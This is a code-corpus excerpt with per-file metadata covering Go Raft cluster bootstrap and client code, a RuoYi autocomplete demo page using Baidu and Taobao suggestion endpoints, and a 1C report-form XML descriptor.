*grpc.Server) { if err := LeaveCluster(c, parsePeerAddrs(c.NodePeerAddrs)); err != nil { log.Errorf("shutdown: LeaveCluster err = %v", err) } log.Infof("shutdown: stop to the grpc server") gs.Stop() log.Infof("shutdown: complete") } func RunCoolbeans(c *ClusterNodeConfig) error { log.Infof("RunCoolbeans: creating directory for node=%v at %v", c.NodeId, c.RootDir) if err := os.MkdirAll(c.RootDir, 0700); err != nil { return err } peersAddrs := parsePeerAddrs(c.NodePeerAddrs) s, err := store.NewStore(&store.Config{ RetainSnasphotCount: c.RetainSnapshotCount, MaxPool: c.MaxPoolSize, RaftTimeout: time.Duration(c.RaftTimeoutSecs) * time.Second, RestoreTimeout: time.Duration(c.RestoreTimeoutSecs) * time.Second, RootDir: c.RootDir, RaftBindAddr: c.RaftListenAddr, Inmem: c.NoDiskLog, LogNoSync: c.NoFsync, SnapshotInterval: time.Duration(c.SnapshotIntervalSecs) * time.Second, TrailingLogs: uint64(c.TrailingLogCount), SnapshotThreshold: uint64(c.SnapshotThreshold), LocalNodeID: c.NodeId, }) if err != nil { return err } if err := InitializeMetrics("coolbeans", c.PrometheusAddr); err != nil { log.Errorf("RunCoolbeans: InitializeMetrics: %v", err) return err } if err := s.Open(); err != nil { log.Errorf("RunCoolbeans: store.Open err=%v", err) return err } if err := BootstrapCluster(c, s, peersAddrs); err != nil { log.Errorf("RunCoolbeans: BootstrapCluster err=%v", err) if err != raft.ErrCantBootstrap { if err := JoinCluster(c, peersAddrs); err != nil { log.Errorf("RunCoolbeans: BootstrapCluster JoinCluster failed! %v", err) return fmt.Errorf("bootstrapCluster JoinCluster failed err %w", err) } } } var opts []grpc.ServerOption grpcServer := grpc.NewServer(opts...) v1.RegisterClusterServer(grpcServer, server.NewClusterServer(s)) jsmServer := server.NewJSMServer(s) v1.RegisterJobStateMachineServer(grpcServer, jsmServer) go jsmServer.RunController() healthgrpc.RegisterHealthServer(grpcServer, server.NewHealthCheckServer(s)) log.Infof("RunCoolbeans: Cluster node server listen on addr=%v", c.NodeListenAddr) lis, err := net.Listen("tcp", c.NodeListenAddr) if err != nil { return fmt.Errorf("RunCoolbeans: failed to listen: %w", err) } go waitForShutdown(s, c, grpcServer) if err := grpcServer.Serve(lis); err != nil { log.Errorf("RunCoolbeans: grpcServer.Serve. err = %v", err) shutdown(s, c, grpcServer) return err } return nil } func BootstrapCluster(c *ClusterNodeConfig, s *store.Store, peerAddrs []string) error { b, err := CanBootstrapCluster(c, peerAddrs) if err != nil { return err } if !b { return fmt.Errorf("canBootstrapCluster=false. cluster can't be bootstrapped") } bootstrapAddr := c.RaftAdvertizedAddr if len(bootstrapAddr) == 0 { bootstrapAddr = c.RaftListenAddr } log.Infof("BootstrapCluster: Bootstrap cluster from node %v using addr=%v", c.NodeId, bootstrapAddr) return s.BootstrapCluster(map[string]string{c.NodeId: bootstrapAddr}) } func CanBootstrapCluster(c *ClusterNodeConfig, peerAddrs []string) (bool, error) { if c.BootstrapNodeId != c.NodeId { log.Infof("CanBootstrapCluster: cannot bootstrap on this node BootstrapNodeId: %s localNodeId: %s", c.BootstrapNodeId, c.NodeId) return false, nil } if len(peerAddrs) == 0 { log.Infof("No peers defined assuming a single node cluster") return true, nil } for _, addr := range peerAddrs { log.Infof("CanBootstrapCluster: Connect addr = %v", addr) nodeCli, err := client.NewClusterNodeClient(addr, time.Duration(c.PeerTimeoutSecs)*time.Second) if err != nil { log.Errorf("CanBootstrapCluster: client.NewClusterNodeClient err %v", err) nodeCli.Close() return false, err } if _, err := nodeCli.IsNodeLeader(); err != nil { st, ok := status.FromError(err) if ok && st.Code() == codes.Unavailable { log.Warnf("GRPC unavailable error failed at node addr=%v err=%v", addr, st.Message()) nodeCli.Close() continue } log.Warnf("CanBootstrapCluster: Node is available err = %v", err) nodeCli.Close() return false, nil } else { log.Infof("CanBootstrapCluster: Request returned successfully") nodeCli.Close() return false, nil } } return true, nil } func parsePeerAddrs(addr string) []string { peersAddrs := strings.Split(addr, ",") if len(peersAddrs) == 1 && peersAddrs[0] == "" { log.Infof("CanBootstrapCluster: peerAddrs is empty") return make([]string, 0) } return peersAddrs } func LeaveCluster(c *ClusterNodeConfig, peerAddrs []string) error { if len(peerAddrs) == 0 { return fmt.Errorf("peerAddrs is empty") } log.Infof("LeaveCluster: try to leave the cluster nodeId: %v", c.NodeId) nc, err := client.NewClusterNodeClientWithLB(peerAddrs, time.Duration(c.PeerTimeoutSecs)*time.Second) if err != nil { return err } defer nc.Close() return nc.LeaveCluster(c.NodeId) } func JoinCluster(c *ClusterNodeConfig, peerAddrs []string) error { connTimeout := time.Duration(c.PeerTimeoutSecs) * time.Second nodeClients := make([]*client.ClusterNodeClient, len(peerAddrs)) for i, addr := range peerAddrs { if nc, err := client.NewClusterNodeClient(addr, connTimeout); err != nil { return fmt.Errorf("joinCluster: client.NewClusterNodeClient addr=%v %w", addr, err) } else { nodeClients[i] = nc } } nRetry := c.MaxClusterJoinAttempts waitDuration := time.Duration(c.ClusterJoinRetryIntervalSecs) * time.Second i := 0 for { if nRetry > 0 && i >= nRetry { break } for _, nc := range nodeClients { log.Infof("Joincluster (attempt: %d): trying to connect to addr = %v ...", (i + 1), nc.DispHostAddr) err := nc.JoinCluster(c.NodeId, c.RaftListenAddr) if err != nil { st, ok := status.FromError(err) if !ok { log.Warnf("JoinCluster: Unhandled err = %v", err) return err } if st.Code() == codes.Unavailable { log.Warnf("JoinCluster: GRPC unavailable error failed at node addr=%v err=%v", nc.DispHostAddr, st.Message()) continue } if st.Code() == codes.FailedPrecondition && st.Message() == store.ErrNotRaftLeader.Error() { log.Warnf("JoinCluster: join failed at node err=%v. retrying attempt = %d", st.Message(), (i + 1)) continue } } log.Infof("JoinCluster: joined cluster successfully") return nil } time.Sleep(waitDuration) i++ } return fmt.Errorf("joinCluster: unable to join cluster") } func InitializeMetrics(serviceName, metricsAddr string) error { var sink metrics.MetricSink = nil var err error = nil if metricsAddr != "" { sink, err = prometheus.NewPrometheusSink() if err != nil { return err } } else { sink = &metrics.BlackholeSink{} } m, err := metrics.NewGlobal(metrics.DefaultConfig(serviceName), sink) if err != nil { return err } m.EnableHostname = false spew.Dump(m) if metricsAddr != "" { go func() { http.Handle("/metrics", promhttp.Handler()) if err := http.ListenAndServe(metricsAddr, nil); err != nil { log.Fatalf("Unable to start prometheus server err = %v", err) } }() } return nil }
12,323
cmd_cluster
go
en
go
code
{"qsc_code_num_words": 1506, "qsc_code_num_chars": 12323.0, "qsc_code_mean_word_length": 5.51726428, "qsc_code_frac_words_unique": 0.2436919, "qsc_code_frac_chars_top_2grams": 0.0126369, "qsc_code_frac_chars_top_3grams": 0.01191479, "qsc_code_frac_chars_top_4grams": 0.0126369, "qsc_code_frac_chars_dupe_5grams": 0.18088819, "qsc_code_frac_chars_dupe_6grams": 0.1179444, "qsc_code_frac_chars_dupe_7grams": 0.0758214, "qsc_code_frac_chars_dupe_8grams": 0.04886268, "qsc_code_frac_chars_dupe_9grams": 0.03899386, "qsc_code_frac_chars_dupe_10grams": 0.02021904, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00919869, "qsc_code_frac_chars_whitespace": 0.20603749, "qsc_code_size_file_byte": 12323.0, "qsc_code_num_lines": 348.0, "qsc_code_num_chars_line_max": 122.0, "qsc_code_num_chars_line_mean": 35.41091954, "qsc_code_frac_chars_alphabet": 0.84004497, "qsc_code_frac_chars_comments": 0.00900755, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.13564669, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.17826728, "qsc_code_frac_chars_long_word_length": 0.04708483, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.03154574, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.13249211, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
cluster/cmd/cmd_client.go
package cmd import ( "fmt" "github.com/1xyz/coolbeans/cluster/client" "github.com/1xyz/coolbeans/tools" "github.com/docopt/docopt-go" log "github.com/sirupsen/logrus" "os" "time" ) func CmdClusterClient(argv []string, version string) { usage := ` Usage: cluster-client is_leader [--node-addr=<addr>] [--timeout=<secs>] options: -h, --help --node-addr=<addr> Address of a cluster node [default: 127.0.0.1:11000]. --timeout=<secs> Connect timeout in seconds [default: 30] ` opts, err := docopt.ParseArgs(usage, argv[1:], version) if err != nil { log.Fatalf("CmdClusterClient: error parsing arguments. err=%v", err) } ldr := tools.OptsBool(opts, "is_leader") if ldr { cmdLeader( tools.OptsStr(opts, "--node-addr"), tools.OptsSeconds(opts, "--timeout")) return } log.Infof("Unknown command") } func cmdLeader(nodeAddr string, timeout time.Duration) { c, err := client.NewClusterNodeClient(nodeAddr, timeout) if err != nil { log.Fatalf("cmdLeader: err = %v", err) } defer c.Close() b, err := c.IsNodeLeader() if err != nil { log.Fatalf("cmdLeader err %v", err) } fmt.Printf("isNodeLeader: %v\n", b) if !b { os.Exit(1) } }
1,191
cmd_client
go
en
go
code
{"qsc_code_num_words": 161, "qsc_code_num_chars": 1191.0, "qsc_code_mean_word_length": 4.83850932, "qsc_code_frac_words_unique": 0.46583851, "qsc_code_frac_chars_top_2grams": 0.04621309, "qsc_code_frac_chars_top_3grams": 0.03080873, "qsc_code_frac_chars_top_4grams": 0.042362, "qsc_code_frac_chars_dupe_5grams": 0.10654685, "qsc_code_frac_chars_dupe_6grams": 0.08472401, "qsc_code_frac_chars_dupe_7grams": 0.08472401, "qsc_code_frac_chars_dupe_8grams": 0.08472401, "qsc_code_frac_chars_dupe_9grams": 0.08472401, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01718908, "qsc_code_frac_chars_whitespace": 0.16960537, "qsc_code_size_file_byte": 1191.0, "qsc_code_num_lines": 53.0, "qsc_code_num_chars_line_max": 79.0, "qsc_code_num_chars_line_mean": 22.47169811, "qsc_code_frac_chars_alphabet": 0.77047523, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.06382979, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.23425693, "qsc_code_frac_chars_long_word_length": 0.10411419, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.04255319, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.08510638, "qsc_codego_frac_lines_print": 0.0212766}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/autocomplete.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('搜索自动补全')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>搜索自动补全<small>https://github.com/lzwme/bootstrap-suggest-plugin</small></h5> </div> <div class="ibox-content"> <p>展示下拉菜单按钮。</p> <div class="row"> <div class="col-lg-6"> <div class="input-group"> <input type="text" class="form-control" id="suggest-demo-1"> <div class="input-group-btn"> <button type="button" class="btn btn-white dropdown-toggle" style="height: 31px" data-toggle="dropdown"> <span class="caret"></span> </button> <ul class="dropdown-menu dropdown-menu-right" role="menu"> </ul> </div> </div> </div> </div> <p>不展示下拉菜单按钮。</p> <div class="row"> <div class="col-lg-6"> <div class="input-group"> <input type="text" class="form-control" id="suggest-demo-2"> <div class="input-group-btn"> <button type="button" class="btn btn-white dropdown-toggle" data-toggle="dropdown"> <span class="caret"></span> </button> <ul class="dropdown-menu dropdown-menu-right" role="menu"> </ul> </div> </div> </div> </div> <p>前端json中获取数据</p> <div class="row"> <div class="col-lg-6"> <div class="input-group"> <input type="text" class="form-control" id="suggest-demo-3"> <div class="input-group-btn"> <button type="button" class="btn btn-white dropdown-toggle" style="height: 31px" data-toggle="dropdown"> <span class="caret"></span> </button> <ul class="dropdown-menu dropdown-menu-right" role="menu"> </ul> </div> <!-- /btn-group --> </div> </div> </div> <h3>百度搜索</h3> <p>支持逗号分隔多关键字</p> <div class="row"> <div class="col-lg-6"> <div class="input-group" style="width: 300px;"> <input type="text" class="form-control" id="baidu"> <div class="input-group-btn"> <button type="button" class="btn btn-white dropdown-toggle" style="height: 31px" data-toggle="dropdown"> <span class="caret"></span> </button> <ul class="dropdown-menu dropdown-menu-right" role="menu"> </ul> </div> <!-- /btn-group --> </div> </div> </div> <h3>淘宝搜索</h3> <p>支持逗号分隔多关键字</p> <div class="row"> <div class="col-lg-6"> <div class="input-group" style="width: 400px;"> <input type="text" class="form-control" id="taobao"> <div class="input-group-btn"> <button type="button" class="btn btn-white dropdown-toggle" style="height: 31px" data-toggle="dropdown"> <span class="caret"></span> </button> <ul class="dropdown-menu dropdown-menu-right" role="menu"> </ul> </div> <!-- /btn-group --> </div> </div> </div> <hr> <div class="form-group"> <label class="font-noraml">相关参数详细信息</label> <div><a href="http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-suggest" target="_blank">http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-suggest</a></div> </div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>搜索自动补全<small>https://github.com/bassjobsen/Bootstrap-3-Typeahead</small></h5> </div> <div class="ibox-content"> <p>通过数据属性的基本示例。</p> <div class="row"> <div class="col-lg-6"> <input type="text" placeholder="ruoyi..." data-provide="typeahead" data-source='["ruoyi 1","ruoyi 2","ruoyi 3"]' class="form-control" /> </div> </div> <hr> <p>通过javascript的基本示例。</p> <div class="row"> <div class="col-lg-6"> <input type="text" placeholder="ruoyi..." class="form-control" id="typeahead-demo-1"/> </div> </div> <hr> <p>通过javascript的复杂示例。</p> <div class="row"> <div class="col-lg-6"> <input type="text" placeholder="ruoyi..." class="form-control" id="typeahead-demo-2"/> </div> </div> <hr> <p>后台url中获取简单数据</p> <div class="row"> <div class="col-lg-6"> <input type="text" placeholder="ruoyi..." class="form-control" id="typeahead-demo-3"/> </div> </div> <hr> <div class="form-group"> <label class="font-noraml">相关参数详细信息</label> <div><a href="http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-typeahead" target="_blank">http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-typeahead</a></div> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <th:block th:include="include :: bootstrap-suggest-js" /> <th:block th:include="include :: bootstrap-typeahead-js" /> <script type="text/javascript"> var testBsSuggest = $("#suggest-demo-1").bsSuggest({ url: ctx + "demo/form/userModel", idField: "userId", keyField: "userName" }).on('onDataRequestSuccess', function (e, result) { console.log('onDataRequestSuccess: ', result); }).on('onSetSelectValue', function (e, keyword) { console.log('onSetSelectValue: ', keyword); }).on('onUnsetSelectValue', function (e) { console.log("onUnsetSelectValue"); }); var testBsSuggest = $("#suggest-demo-2").bsSuggest({ url: ctx + "demo/form/userModel", showBtn: false, idField: "userId", keyField: "userName" }).on('onDataRequestSuccess', function (e, result) { console.log('onDataRequestSuccess: ', result); }).on('onSetSelectValue', function (e, keyword) { console.log('onSetSelectValue: ', keyword); }).on('onUnsetSelectValue', function (e) { console.log("onUnsetSelectValue"); }); //data 数据中获取 var testdataBsSuggest = $("#suggest-demo-3").bsSuggest({ indexId: 1, indexKey: 2, data: { 'value': [ { 'userId': '1', 'userCode': '1000001', 'userName': '测试1', 'userPhone': '15888888888' }, { 'userId': '2', 'userCode': '1000002', 'userName': '测试2', 'userPhone': '15888888888' }, { 'userId': '3', 'userCode': '1000003', 'userName': '测试3', 'userPhone': '15888888888' }, { 'userId': '4', 'userCode': '1000004', 'userName': '测试4', 'userPhone': '15888888888' }, { 'userId': '5', 'userCode': '1000005', 'userName': '测试5', 'userPhone': '15888888888' } ], 'defaults': 'http://ruoyi.vip' } }); //百度搜索测试 var baiduBsSuggest = $("#baidu").bsSuggest({ allowNoKeyword: false, //是否允许无关键字时请求数据 multiWord: true, //以分隔符号分割的多关键字支持 separator: ",", //多关键字支持时的分隔符,默认为空格 getDataMethod: "url", //获取数据的方式,总是从 URL 获取 url: 'http://unionsug.baidu.com/su?p=3&t=' + (new Date()).getTime() + '&wd=', /*优先从url ajax 请求 json 帮助数据,注意最后一个参数为关键字请求参数*/ jsonp: 'cb', /*如果从 url 获取数据,并且需要跨域,则该参数必须设置*/ processData: function (json) { // url 获取数据时,对数据的处理,作为 getData 的回调函数 var i, len, data = { value: [] }; if (!json || !json.s || json.s.length === 0) { return false; } console.log(json); len = json.s.length; jsonStr = "{'value':["; for (i = 0; i < len; i++) { data.value.push({ word: json.s[i] }); } data.defaults = 'baidu'; //字符串转化为 js 对象 return data; } }); //淘宝搜索建议测试 var taobaoBsSuggest = $("#taobao").bsSuggest({ indexId: 2, // data.value 的第几个数据,作为input输入框的内容 indexKey: 1, // data.value 的第几个数据,作为input输入框的内容 allowNoKeyword: false, // 是否允许无关键字时请求数据 hideOnSelect: true, // 鼠标从列表单击选择了值时,是否隐藏选择列表 multiWord: true, // 以分隔符号分割的多关键字支持 separator: ",", // 多关键字支持时的分隔符,默认为空格 getDataMethod: "url", // 获取数据的方式,总是从 URL 获取 effectiveFieldsAlias: { Id: "序号", Keyword: "关键字", Count: "数量" }, showHeader: true, url: 'http://suggest.taobao.com/sug?code=utf-8&extras=1&q=', /*优先从url ajax 请求 json 帮助数据,注意最后一个参数为关键字请求参数*/ jsonp: 'callback', /*如果从 url 获取数据,并且需要跨域,则该参数必须设置*/ processData: function (json) { // url 获取数据时,对数据的处理,作为 getData 的回调函数 var i, len, data = { value: [] }; if (!json || !json.result || json.result.length == 0) { return false; } console.log(json); len = json.result.length; for (i = 0; i < len; i++) { data.value.push({ "Id": (i + 1), "Keyword": json.result[i][0], "Count": json.result[i][1] }); } console.log(data); return data; } }); $('#typeahead-demo-1').typeahead({ source: ["ruoyi 1","ruoyi 2","ruoyi 3"] }); $('#typeahead-demo-2').typeahead({ source: [ {"name": "Afghanistan", "code": "AF", "ccn0": "040"}, {"name": "Land Islands", "code": "AX", "ccn0": "050"}, {"name": "Albania", "code": "AL","ccn0": "060"}, {"name": "Algeria", "code": "DZ","ccn0": "070"} ] }); $.get(ctx + "demo/form/collection", function(data){ $("#typeahead-demo-3").typeahead({ source: data.value }); },'json'); </script> </body> </html>
14,011
autocomplete
html
en
html
code
{"qsc_code_num_words": 1072, "qsc_code_num_chars": 14011.0, "qsc_code_mean_word_length": 4.86473881, "qsc_code_frac_words_unique": 0.22014925, "qsc_code_frac_chars_top_2grams": 0.06136146, "qsc_code_frac_chars_top_3grams": 0.02761266, "qsc_code_frac_chars_top_4grams": 0.02684564, "qsc_code_frac_chars_dupe_5grams": 0.68552253, "qsc_code_frac_chars_dupe_6grams": 0.67670182, "qsc_code_frac_chars_dupe_7grams": 0.64947267, "qsc_code_frac_chars_dupe_8grams": 0.60594439, "qsc_code_frac_chars_dupe_9grams": 0.59443912, "qsc_code_frac_chars_dupe_10grams": 0.57066155, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02555462, "qsc_code_frac_chars_whitespace": 0.4916851, "qsc_code_size_file_byte": 14011.0, "qsc_code_num_lines": 323.0, "qsc_code_num_chars_line_max": 201.0, "qsc_code_num_chars_line_mean": 43.37770898, "qsc_code_frac_chars_alphabet": 0.70668352, "qsc_code_frac_chars_comments": 0.04018271, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.58477509, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00346021, "qsc_code_frac_chars_string_length": 0.18545509, "qsc_code_frac_chars_long_word_length": 0.00475907, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.03747056, "qsc_codehtml_num_chars_text": 525.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ДатыЗапретаИзменения/Forms/ФормаОтчета.xml
<?xml version="1.0" encoding="UTF-8"?> <MetaDataObject xmlns="http://v8.1c.ru/8.3/MDClasses" xmlns:app="http://v8.1c.ru/8.2/managed-application/core" xmlns:cfg="http://v8.1c.ru/8.1/data/enterprise/current-config" xmlns:cmi="http://v8.1c.ru/8.2/managed-application/cmi" xmlns:ent="http://v8.1c.ru/8.1/data/enterprise" xmlns:lf="http://v8.1c.ru/8.2/managed-application/logform" xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows" xmlns:xen="http://v8.1c.ru/8.3/xcf/enums" xmlns:xpr="http://v8.1c.ru/8.3/xcf/predef" xmlns:xr="http://v8.1c.ru/8.3/xcf/readable" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.18"> <Form uuid="134bbd7c-cadd-4395-b7a4-0249dfe7d0b1"> <Properties> <Name>ФормаОтчета</Name> <Synonym> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Форма отчета</v8:content> </v8:item> </Synonym> <Comment/> <FormType>Managed</FormType> <IncludeHelpInContents>false</IncludeHelpInContents> <UsePurposes> <v8:Value xsi:type="app:ApplicationUsePurpose">PlatformApplication</v8:Value> <v8:Value xsi:type="app:ApplicationUsePurpose">MobilePlatformApplication</v8:Value> </UsePurposes> <ExtendedPresentation/> </Properties> </Form> </MetaDataObject>
1,506
ФормаОтчета
xml
ru
xml
data
{"qsc_code_num_words": 248, "qsc_code_num_chars": 1506.0, "qsc_code_mean_word_length": 4.27419355, "qsc_code_frac_words_unique": 0.33467742, "qsc_code_frac_chars_top_2grams": 0.08490566, "qsc_code_frac_chars_top_3grams": 0.11320755, "qsc_code_frac_chars_top_4grams": 0.14150943, "qsc_code_frac_chars_dupe_5grams": 0.41792453, "qsc_code_frac_chars_dupe_6grams": 0.41792453, "qsc_code_frac_chars_dupe_7grams": 0.28773585, "qsc_code_frac_chars_dupe_8grams": 0.23018868, "qsc_code_frac_chars_dupe_9grams": 0.04528302, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.07489301, "qsc_code_frac_chars_whitespace": 0.0690571, "qsc_code_size_file_byte": 1506.0, "qsc_code_num_lines": 22.0, "qsc_code_num_chars_line_max": 869.0, "qsc_code_num_chars_line_mean": 68.45454545, "qsc_code_frac_chars_alphabet": 0.68045649, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.47742364, "qsc_code_frac_chars_long_word_length": 0.05710491, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/wizard.html
